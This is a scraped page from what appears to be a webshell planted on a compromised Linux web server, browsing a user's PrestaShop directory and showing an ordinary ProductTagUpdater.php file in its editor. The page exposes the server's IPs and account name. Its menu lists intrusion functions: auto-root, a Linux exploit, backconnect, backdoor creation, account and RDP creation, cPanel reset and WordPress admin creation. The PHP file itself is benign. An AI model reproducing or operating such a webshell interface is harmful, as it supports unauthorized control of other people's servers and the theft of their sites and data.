Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 18.221.54.19
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
addify5 /
.trash /
src.1 /
Adapter /
Product /
Update /
[ HOME SHELL ]
Name
Size
Permission
Action
Filler
[ DIR ]
drwxr-xr-x
ProductAttachmentUpdater.php
4.77
KB
-rw-r--r--
ProductCategoryUpdater.php
9.6
KB
-rw-r--r--
ProductDuplicator.php
45.98
KB
-rw-r--r--
ProductIndexationUpdater.php
5.01
KB
-rw-r--r--
ProductShopUpdater.php
12.67
KB
-rw-r--r--
ProductSupplierUpdater.php
20.09
KB
-rw-r--r--
ProductTagUpdater.php
5.24
KB
-rw-r--r--
ProductTypeUpdater.php
7.36
KB
-rw-r--r--
RelatedProductsUpdater.php
3.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ProductTagUpdater.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ declare(strict_types=1); namespace PrestaShop\PrestaShop\Adapter\Product\Update; use PrestaShop\PrestaShop\Adapter\Product\Repository\TagRepository; use PrestaShop\PrestaShop\Core\Domain\Product\Exception\CannotUpdateProductException; use PrestaShop\PrestaShop\Core\Domain\Product\ValueObject\LocalizedTags; use PrestaShop\PrestaShop\Core\Domain\Product\ValueObject\ProductId; use PrestaShop\PrestaShop\Core\Domain\Shop\ValueObject\ShopConstraint; use PrestaShop\PrestaShop\Core\Exception\CoreException; use Product; /** * Methods related for product-tags update operations */ class ProductTagUpdater { /** * @var TagRepository */ private $tagRepository; /** * @var ProductIndexationUpdater */ private $productIndexationUpdater; /** * @param TagRepository $tagRepository * @param ProductIndexationUpdater $productIndexationUpdater */ public function __construct( TagRepository $tagRepository, ProductIndexationUpdater $productIndexationUpdater ) { $this->tagRepository = $tagRepository; $this->productIndexationUpdater = $productIndexationUpdater; } /** * Removes previous tags & sets new list of tags for a product. * * @param Product $product * @param LocalizedTags[] $localizedTagsList * * @throws CannotUpdateProductException * @throws CoreException */ public function setProductTags(Product $product, array $localizedTagsList): void { $productId = new ProductId((int) $product->id); // We check if the values have changed, it represents an additional query to check but it's better than performing // an update of search indexes for nothing. if (!$this->hasModification($productId, $localizedTagsList)) { return; } // delete all tags for product if array is empty if (empty($localizedTagsList)) { $this->tagRepository->deleteAllTags($productId); } else { foreach ($localizedTagsList as $localizedTags) { // delete all this product tags for this lang $this->tagRepository->deleteTagsByLanguage($productId, $localizedTags->getLanguageId()); // empty tags means to delete all previous tags, which is already done above. if ($localizedTags->isEmpty()) { continue; } // assign new tags to product $this->tagRepository->addTagsByLanguage($productId, $localizedTags); } } // Since tags have been modified we need to update the indexation values (only for active products) if ($product->active) { $this->productIndexationUpdater->updateIndexation($product, ShopConstraint::allShops()); } } /** * @param ProductId $productId * @param LocalizedTags[] $localizedTagsList * * @return bool */ private function hasModification(ProductId $productId, array $localizedTagsList): bool { $localizedProductTags = $this->tagRepository->getLocalizedProductTags($productId); $currentTagLanguages = array_keys($localizedProductTags); $updateTagLanguages = array_map(static function (LocalizedTags $localizedTags): int { return $localizedTags->getLanguageId()->getValue(); }, $localizedTagsList); if (array_diff($currentTagLanguages, $updateTagLanguages)) { return true; } foreach ($localizedTagsList as $localizedTags) { if (empty($localizedProductTags[$localizedTags->getLanguageId()->getValue()]) && !empty($localizedTags->getTags())) { return true; } $currentTags = $this->stringifyTags($localizedProductTags[$localizedTags->getLanguageId()->getValue()] ?? []); $updateTags = $this->stringifyTags($localizedTags->getTags()); if ($currentTags !== $updateTags) { return true; } } return false; } /** * @param string[] $tags * * @return string */ private function stringifyTags(array $tags): string { asort($tags); return implode(';', $tags); } }
Close